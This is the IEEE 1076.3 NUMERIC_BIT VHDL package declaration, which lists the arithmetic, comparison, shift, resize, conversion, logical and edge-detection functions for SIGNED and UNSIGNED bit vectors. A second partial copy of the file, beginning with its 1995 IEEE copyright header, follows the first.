-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0).
-- Result: Returns the absolute value of a SIGNED vector ARG.
-- Id: A.2
function "-" (ARG: SIGNED) return SIGNED;
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0).
-- Result: Returns the value of the unary minus operation on a
-- SIGNED vector ARG.
--============================================================================
-- Id: A.3
function "+" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(MAX(L'LENGTH, R'LENGTH)-1 downto 0).
-- Result: Adds two UNSIGNED vectors that may be of different lengths.
-- Id: A.4
function "+" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(MAX(L'LENGTH, R'LENGTH)-1 downto 0).
-- Result: Adds two SIGNED vectors that may be of different lengths.
-- Id: A.5
function "+" (L: UNSIGNED; R: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0).
-- Result: Adds an UNSIGNED vector, L, with a non-negative INTEGER, R.
-- Id: A.6
function "+" (L: NATURAL; R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0).
-- Result: Adds a non-negative INTEGER, L, with an UNSIGNED vector, R.
-- Id: A.7
function "+" (L: INTEGER; R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0).
-- Result: Adds an INTEGER, L(may be positive or negative), to a SIGNED
-- vector, R.
-- Id: A.8
function "+" (L: SIGNED; R: INTEGER) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0).
-- Result: Adds a SIGNED vector, L, to an INTEGER, R.
--============================================================================
-- Id: A.9
function "-" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(MAX(L'LENGTH, R'LENGTH)-1 downto 0).
-- Result: Subtracts two UNSIGNED vectors that may be of different lengths.
-- Id: A.10
function "-" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(MAX(L'LENGTH, R'LENGTH)-1 downto 0).
-- Result: Subtracts a SIGNED vector, R, from another SIGNED vector, L,
-- that may possibly be of different lengths.
-- Id: A.11
function "-" (L: UNSIGNED; R: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0).
-- Result: Subtracts a non-negative INTEGER, R, from an UNSIGNED vector, L.
-- Id: A.12
function "-" (L: NATURAL; R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0).
-- Result: Subtracts an UNSIGNED vector, R, from a non-negative INTEGER, L.
-- Id: A.13
function "-" (L: SIGNED; R: INTEGER) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0).
-- Result: Subtracts an INTEGER, R, from a SIGNED vector, L.
-- Id: A.14
function "-" (L: INTEGER; R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0).
-- Result: Subtracts a SIGNED vector, R, from an INTEGER, L.
--============================================================================
-- Id: A.15
function "*" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED((L'LENGTH+R'LENGTH-1) downto 0).
-- Result: Performs the multiplication operation on two UNSIGNED vectors
-- that may possibly be of different lengths.
-- Id: A.16
function "*" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED((L'LENGTH+R'LENGTH-1) downto 0)
-- Result: Multiplies two SIGNED vectors that may possibly be of
-- different lengths.
-- Id: A.17
function "*" (L: UNSIGNED; R: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED((L'LENGTH+L'LENGTH-1) downto 0).
-- Result: Multiplies an UNSIGNED vector, L, with a non-negative
-- INTEGER, R. R is converted to an UNSIGNED vector of
-- size L'LENGTH before multiplication.
-- Id: A.18
function "*" (L: NATURAL; R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED((R'LENGTH+R'LENGTH-1) downto 0).
-- Result: Multiplies an UNSIGNED vector, R, with a non-negative
-- INTEGER, L. L is converted to an UNSIGNED vector of
-- size R'LENGTH before multiplication.
-- Id: A.19
function "*" (L: SIGNED; R: INTEGER) return SIGNED;
-- Result subtype: SIGNED((L'LENGTH+L'LENGTH-1) downto 0)
-- Result: Multiplies a SIGNED vector, L, with an INTEGER, R. R is
-- converted to a SIGNED vector of size L'LENGTH before
-- multiplication.
-- Id: A.20
function "*" (L: INTEGER; R: SIGNED) return SIGNED;
-- Result subtype: SIGNED((R'LENGTH+R'LENGTH-1) downto 0)
-- Result: Multiplies a SIGNED vector, R, with an INTEGER, L. L is
-- converted to a SIGNED vector of size R'LENGTH before
-- multiplication.
--============================================================================
--
-- NOTE: If second argument is zero for "/" operator, a severity level
-- of ERROR is issued.
-- Id: A.21
function "/" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Divides an UNSIGNED vector, L, by another UNSIGNED vector, R.
-- Id: A.22
function "/" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Divides an SIGNED vector, L, by another SIGNED vector, R.
-- Id: A.23
function "/" (L: UNSIGNED; R: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Divides an UNSIGNED vector, L, by a non-negative INTEGER, R.
-- If NO_OF_BITS(R) > L'LENGTH, result is truncated to L'LENGTH.
-- Id: A.24
function "/" (L: NATURAL; R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0)
-- Result: Divides a non-negative INTEGER, L, by an UNSIGNED vector, R.
-- If NO_OF_BITS(L) > R'LENGTH, result is truncated to R'LENGTH.
-- Id: A.25
function "/" (L: SIGNED; R: INTEGER) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Divides a SIGNED vector, L, by an INTEGER, R.
-- If NO_OF_BITS(R) > L'LENGTH, result is truncated to L'LENGTH.
-- Id: A.26
function "/" (L: INTEGER; R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0)
-- Result: Divides an INTEGER, L, by a SIGNED vector, R.
-- If NO_OF_BITS(L) > R'LENGTH, result is truncated to R'LENGTH.
--============================================================================
--
-- NOTE: If second argument is zero for "rem" operator, a severity level
-- of ERROR is issued.
-- Id: A.27
function "rem" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L rem R" where L and R are UNSIGNED vectors.
-- Id: A.28
function "rem" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L rem R" where L and R are SIGNED vectors.
-- Id: A.29
function "rem" (L: UNSIGNED; R: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Computes "L rem R" where L is an UNSIGNED vector and R is a
-- non-negative INTEGER.
-- If NO_OF_BITS(R) > L'LENGTH, result is truncated to L'LENGTH.
-- Id: A.30
function "rem" (L: NATURAL; R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L rem R" where R is an UNSIGNED vector and L is a
-- non-negative INTEGER.
-- If NO_OF_BITS(L) > R'LENGTH, result is truncated to R'LENGTH.
-- Id: A.31
function "rem" (L: SIGNED; R: INTEGER) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Computes "L rem R" where L is SIGNED vector and R is an INTEGER.
-- If NO_OF_BITS(R) > L'LENGTH, result is truncated to L'LENGTH.
-- Id: A.32
function "rem" (L: INTEGER; R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L rem R" where R is SIGNED vector and L is an INTEGER.
-- If NO_OF_BITS(L) > R'LENGTH, result is truncated to R'LENGTH.
--============================================================================
--
-- NOTE: If second argument is zero for "mod" operator, a severity level
-- of ERROR is issued.
-- Id: A.33
function "mod" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L mod R" where L and R are UNSIGNED vectors.
-- Id: A.34
function "mod" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L mod R" where L and R are SIGNED vectors.
-- Id: A.35
function "mod" (L: UNSIGNED; R: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Computes "L mod R" where L is an UNSIGNED vector and R
-- is a non-negative INTEGER.
-- If NO_OF_BITS(R) > L'LENGTH, result is truncated to L'LENGTH.
-- Id: A.36
function "mod" (L: NATURAL; R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L mod R" where R is an UNSIGNED vector and L
-- is a non-negative INTEGER.
-- If NO_OF_BITS(L) > R'LENGTH, result is truncated to R'LENGTH.
-- Id: A.37
function "mod" (L: SIGNED; R: INTEGER) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Computes "L mod R" where L is a SIGNED vector and
-- R is an INTEGER.
-- If NO_OF_BITS(R) > L'LENGTH, result is truncated to L'LENGTH.
-- Id: A.38
function "mod" (L: INTEGER; R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L mod R" where L is an INTEGER and
-- R is a SIGNED vector.
-- If NO_OF_BITS(L) > R'LENGTH, result is truncated to R'LENGTH.
--============================================================================
-- Comparison Operators
--============================================================================
-- Id: C.1
function ">" (L, R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L > R" where L and R are UNSIGNED vectors possibly
-- of different lengths.
-- Id: C.2
function ">" (L, R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L > R" where L and R are SIGNED vectors possibly
-- of different lengths.
-- Id: C.3
function ">" (L: NATURAL; R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L > R" where L is a non-negative INTEGER and
-- R is an UNSIGNED vector.
-- Id: C.4
function ">" (L: INTEGER; R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L > R" where L is a INTEGER and
-- R is a SIGNED vector.
-- Id: C.5
function ">" (L: UNSIGNED; R: NATURAL) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L > R" where L is an UNSIGNED vector and
-- R is a non-negative INTEGER.
-- Id: C.6
function ">" (L: SIGNED; R: INTEGER) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L > R" where L is a SIGNED vector and
-- R is a INTEGER.
--============================================================================
-- Id: C.7
function "<" (L, R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L < R" where L and R are UNSIGNED vectors possibly
-- of different lengths.
-- Id: C.8
function "<" (L, R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L < R" where L and R are SIGNED vectors possibly
-- of different lengths.
-- Id: C.9
function "<" (L: NATURAL; R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L < R" where L is a non-negative INTEGER and
-- R is an UNSIGNED vector.
-- Id: C.10
function "<" (L: INTEGER; R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L < R" where L is an INTEGER and
-- R is a SIGNED vector.
-- Id: C.11
function "<" (L: UNSIGNED; R: NATURAL) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L < R" where L is an UNSIGNED vector and
-- R is a non-negative INTEGER.
-- Id: C.12
function "<" (L: SIGNED; R: INTEGER) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L < R" where L is a SIGNED vector and
-- R is an INTEGER.
--============================================================================
-- Id: C.13
function "<=" (L, R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L <= R" where L and R are UNSIGNED vectors possibly
-- of different lengths.
-- Id: C.14
function "<=" (L, R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L <= R" where L and R are SIGNED vectors possibly
-- of different lengths.
-- Id: C.15
function "<=" (L: NATURAL; R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L <= R" where L is a non-negative INTEGER and
-- R is an UNSIGNED vector.
-- Id: C.16
function "<=" (L: INTEGER; R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L <= R" where L is an INTEGER and
-- R is a SIGNED vector.
-- Id: C.17
function "<=" (L: UNSIGNED; R: NATURAL) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L <= R" where L is an UNSIGNED vector and
-- R is a non-negative INTEGER.
-- Id: C.18
function "<=" (L: SIGNED; R: INTEGER) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L <= R" where L is a SIGNED vector and
-- R is an INTEGER.
--============================================================================
-- Id: C.19
function ">=" (L, R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L >= R" where L and R are UNSIGNED vectors possibly
-- of different lengths.
-- Id: C.20
function ">=" (L, R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L >= R" where L and R are SIGNED vectors possibly
-- of different lengths.
-- Id: C.21
function ">=" (L: NATURAL; R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L >= R" where L is a non-negative INTEGER and
-- R is an UNSIGNED vector.
-- Id: C.22
function ">=" (L: INTEGER; R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L >= R" where L is an INTEGER and
-- R is a SIGNED vector.
-- Id: C.23
function ">=" (L: UNSIGNED; R: NATURAL) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L >= R" where L is an UNSIGNED vector and
-- R is a non-negative INTEGER.
-- Id: C.24
function ">=" (L: SIGNED; R: INTEGER) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L >= R" where L is a SIGNED vector and
-- R is an INTEGER.
--============================================================================
-- Id: C.25
function "=" (L, R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L = R" where L and R are UNSIGNED vectors possibly
-- of different lengths.
-- Id: C.26
function "=" (L, R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L = R" where L and R are SIGNED vectors possibly
-- of different lengths.
-- Id: C.27
function "=" (L: NATURAL; R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L = R" where L is a non-negative INTEGER and
-- R is an UNSIGNED vector.
-- Id: C.28
function "=" (L: INTEGER; R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L = R" where L is an INTEGER and
-- R is a SIGNED vector.
-- Id: C.29
function "=" (L: UNSIGNED; R: NATURAL) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L = R" where L is an UNSIGNED vector and
-- R is a non-negative INTEGER.
-- Id: C.30
function "=" (L: SIGNED; R: INTEGER) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L = R" where L is a SIGNED vector and
-- R is an INTEGER.
--============================================================================
-- Id: C.31
function "/=" (L, R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L /= R" where L and R are UNSIGNED vectors possibly
-- of different lengths.
-- Id: C.32
function "/=" (L, R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L /= R" where L and R are SIGNED vectors possibly
-- of different lengths.
-- Id: C.33
function "/=" (L: NATURAL; R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L /= R" where L is a non-negative INTEGER and
-- R is an UNSIGNED vector.
-- Id: C.34
function "/=" (L: INTEGER; R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L /= R" where L is an INTEGER and
-- R is a SIGNED vector.
-- Id: C.35
function "/=" (L: UNSIGNED; R: NATURAL) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L /= R" where L is an UNSIGNED vector and
-- R is a non-negative INTEGER.
-- Id: C.36
function "/=" (L: SIGNED; R: INTEGER) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L /= R" where L is a SIGNED vector and
-- R is an INTEGER.
--============================================================================
-- Shift and Rotate Functions
--============================================================================
-- Id: S.1
function SHIFT_LEFT (ARG: UNSIGNED; COUNT: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a shift-left on an UNSIGNED vector COUNT times.
-- The vacated positions are filled with Bit '0'.
-- The COUNT leftmost bits are lost.
-- Id: S.2
function SHIFT_RIGHT (ARG: UNSIGNED; COUNT: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a shift-right on an UNSIGNED vector COUNT times.
-- The vacated positions are filled with Bit '0'.
-- The COUNT rightmost bits are lost.
-- Id: S.3
function SHIFT_LEFT (ARG: SIGNED; COUNT: NATURAL) return SIGNED;
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a shift-left on a SIGNED vector COUNT times.
-- The vacated positions are filled with Bit '0'.
-- The COUNT leftmost bits, except ARG'LEFT, are lost.
-- Id: S.4
function SHIFT_RIGHT (ARG: SIGNED; COUNT: NATURAL) return SIGNED;
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a shift-right on a SIGNED vector COUNT times.
-- The vacated positions are filled with the leftmost bit, ARG'LEFT.
-- The COUNT rightmost bits are lost.
--============================================================================
-- Id: S.5
function ROTATE_LEFT (ARG: UNSIGNED; COUNT: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a rotate-left of an UNSIGNED vector COUNT times.
-- Id: S.6
function ROTATE_RIGHT (ARG: UNSIGNED; COUNT: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a rotate-right of an UNSIGNED vector COUNT times.
-- Id: S.7
function ROTATE_LEFT (ARG: SIGNED; COUNT: NATURAL) return SIGNED;
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a logical rotate-left of a SIGNED vector COUNT times.
-- Id: S.8
function ROTATE_RIGHT (ARG: SIGNED; COUNT: NATURAL) return SIGNED;
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a logical rotate-right of a SIGNED vector COUNT times.
--============================================================================
------------------------------------------------------------------------------
-- Note : Function S.9 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.9
function "sll" (ARG: UNSIGNED; COUNT: INTEGER) return UNSIGNED; --V93
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: SHIFT_LEFT(ARG, COUNT)
------------------------------------------------------------------------------
-- Note : Function S.10 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.10
function "sll" (ARG: SIGNED; COUNT: INTEGER) return SIGNED; --V93
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: SHIFT_LEFT(ARG, COUNT)
------------------------------------------------------------------------------
-- Note : Function S.11 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.11
function "srl" (ARG: UNSIGNED; COUNT: INTEGER) return UNSIGNED; --V93
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: SHIFT_RIGHT(ARG, COUNT)
------------------------------------------------------------------------------
-- Note : Function S.12 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.12
function "srl" (ARG: SIGNED; COUNT: INTEGER) return SIGNED; --V93
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: SIGNED(SHIFT_RIGHT(UNSIGNED(ARG), COUNT))
------------------------------------------------------------------------------
-- Note : Function S.13 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.13
function "rol" (ARG: UNSIGNED; COUNT: INTEGER) return UNSIGNED; --V93
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: ROTATE_LEFT(ARG, COUNT)
------------------------------------------------------------------------------
-- Note : Function S.14 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.14
function "rol" (ARG: SIGNED; COUNT: INTEGER) return SIGNED; --V93
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: ROTATE_LEFT(ARG, COUNT)
------------------------------------------------------------------------------
-- Note : Function S.15 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.15
function "ror" (ARG: UNSIGNED; COUNT: INTEGER) return UNSIGNED; --V93
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: ROTATE_RIGHT(ARG, COUNT)
------------------------------------------------------------------------------
-- Note : Function S.16 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.16
function "ror" (ARG: SIGNED; COUNT: INTEGER) return SIGNED; --V93
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: ROTATE_RIGHT(ARG, COUNT)
--============================================================================
-- RESIZE Functions
--============================================================================
-- Id: R.1
function RESIZE (ARG: SIGNED; NEW_SIZE: NATURAL) return SIGNED;
-- Result subtype: SIGNED(NEW_SIZE-1 downto 0)
-- Result: Resizes the SIGNED vector ARG to the specified size.
-- To create a larger vector, the new [leftmost] bit positions
-- are filled with the sign bit (ARG'LEFT). When truncating,
-- the sign bit is retained along with the rightmost part.
-- Id: R.2
function RESIZE (ARG: UNSIGNED; NEW_SIZE: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(NEW_SIZE-1 downto 0)
-- Result: Resizes the UNSIGNED vector ARG to the specified size.
-- To create a larger vector, the new [leftmost] bit positions
-- are filled with '0'. When truncating, the leftmost bits
-- are dropped.
--============================================================================
-- Conversion Functions
--============================================================================
-- Id: D.1
function TO_INTEGER (ARG: UNSIGNED) return NATURAL;
-- Result subtype: NATURAL. Value cannot be negative since parameter is an
-- UNSIGNED vector.
-- Result: Converts the UNSIGNED vector to an INTEGER.
-- Id: D.2
function TO_INTEGER (ARG: SIGNED) return INTEGER;
-- Result subtype: INTEGER
-- Result: Converts a SIGNED vector to an INTEGER.
-- Id: D.3
function TO_UNSIGNED (ARG, SIZE: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(SIZE-1 downto 0)
-- Result: Converts a non-negative INTEGER to an UNSIGNED vector with
-- the specified size.
-- Id: D.4
function TO_SIGNED (ARG: INTEGER; SIZE: NATURAL) return SIGNED;
-- Result subtype: SIGNED(SIZE-1 downto 0)
-- Result: Converts an INTEGER to a SIGNED vector of the specified size.
--============================================================================
-- Logical Operators
--============================================================================
-- Id: L.1
function "not" (L: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Termwise inversion
-- Id: L.2
function "and" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Vector AND operation
-- Id: L.3
function "or" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Vector OR operation
-- Id: L.4
function "nand" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Vector NAND operation
-- Id: L.5
function "nor" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Vector NOR operation
-- Id: L.6
function "xor" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Vector XOR operation
------------------------------------------------------------------------------
-- Note : Function L.7 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: L.7
function "xnor" (L, R: UNSIGNED) return UNSIGNED; --V93
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Vector XNOR operation
-- Id: L.8
function "not" (L: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Termwise inversion
-- Id: L.9
function "and" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Vector AND operation
-- Id: L.10
function "or" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Vector OR operation
-- Id: L.11
function "nand" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Vector NAND operation
-- Id: L.12
function "nor" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Vector NOR operation
-- Id: L.13
function "xor" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Vector XOR operation
------------------------------------------------------------------------------
-- Note : Function L.14 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: L.14
function "xnor" (L, R: SIGNED) return SIGNED; --V93
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Vector XNOR operation
--============================================================================
-- Edge Detection Functions
--============================================================================
-- Id: E.1
function RISING_EDGE (signal S: BIT) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Returns TRUE if an event is detected on signal S and the
-- value changed from a '0' to a '1'.
-- Id: E.2
function FALLING_EDGE (signal S: BIT) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Returns TRUE if an event is detected on signal S and the
-- value changed from a '1' to a '0'.
end NUMERIC_BIT;
|
-- -----------------------------------------------------------------------------
--
-- Copyright 1995 by IEEE. All rights reserved.
--
-- This source file is considered by the IEEE to be an essential part of the use
-- of the standard 1076.3 and as such may be distributed without change, except
-- as permitted by the standard. This source file may not be sold or distributed
-- for profit. This package may be modified to include additional data required
-- by tools, but must in no way change the external interfaces or simulation
-- behaviour of the description. It is permissible to add comments and/or
-- attributes to the package declarations, but not to change or delete any
-- original lines of the approved package declaration. The package body may be
-- changed only in accordance with the terms of clauses 7.1 and 7.2 of the
-- standard.
--
-- Title : Standard VHDL Synthesis Package (1076.3, NUMERIC_BIT)
--
-- Library : This package shall be compiled into a library symbolically
-- : named IEEE.
--
-- Developers : IEEE DASC Synthesis Working Group, PAR 1076.3
--
-- Purpose : This package defines numeric types and arithmetic functions
-- : for use with synthesis tools. Two numeric types are defined:
-- : -- > UNSIGNED: represents an UNSIGNED number in vector form
-- : -- > SIGNED: represents a SIGNED number in vector form
-- : The base element type is type BIT.
-- : The leftmost bit is treated as the most significant bit.
-- : Signed vectors are represented in two's complement form.
-- : This package contains overloaded arithmetic operators on
-- : the SIGNED and UNSIGNED types. The package also contains
-- : useful type conversions functions, clock detection
-- : functions, and other utility functions.
-- :
-- : If any argument to a function is a null array, a null array is
-- : returned (exceptions, if any, are noted individually).
--
-- Limitation :
--
-- Note : No declarations or definitions shall be included in,
-- : or excluded from this package. The "package declaration"
-- : defines the types, subtypes and declarations of
-- : NUMERIC_BIT. The NUMERIC_BIT package body shall be
-- : considered the formal definition of the semantics of
-- : this package. Tool developers may choose to implement
-- : the package body in the most efficient manner available
-- : to them.
-- :
-- -----------------------------------------------------------------------------
-- Version : 2.4
-- Date : 12 April 1995
-- -----------------------------------------------------------------------------
package NUMERIC_BIT is
constant CopyRightNotice: STRING
:= "Copyright 1995 IEEE. All rights reserved.";
--============================================================================
-- Numeric array type definitions
--============================================================================
type UNSIGNED is array (NATURAL range <> ) of BIT;
type SIGNED is array (NATURAL range <> ) of BIT;
--============================================================================
-- Arithmetic Operators:
--============================================================================
-- Id: A.1
function "abs" (ARG: SIGNED) return SIGNED;
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0).
-- Result: Returns the absolute value of a SIGNED vector ARG.
-- Id: A.2
function "-" (ARG: SIGNED) return SIGNED;
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0).
-- Result: Returns the value of the unary minus operation on a
-- SIGNED vector ARG.
--============================================================================
-- Id: A.3
function "+" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(MAX(L'LENGTH, R'LENGTH)-1 downto 0).
-- Result: Adds two UNSIGNED vectors that may be of different lengths.
-- Id: A.4
function "+" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(MAX(L'LENGTH, R'LENGTH)-1 downto 0).
-- Result: Adds two SIGNED vectors that may be of different lengths.
-- Id: A.5
function "+" (L: UNSIGNED; R: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0).
-- Result: Adds an UNSIGNED vector, L, with a non-negative INTEGER, R.
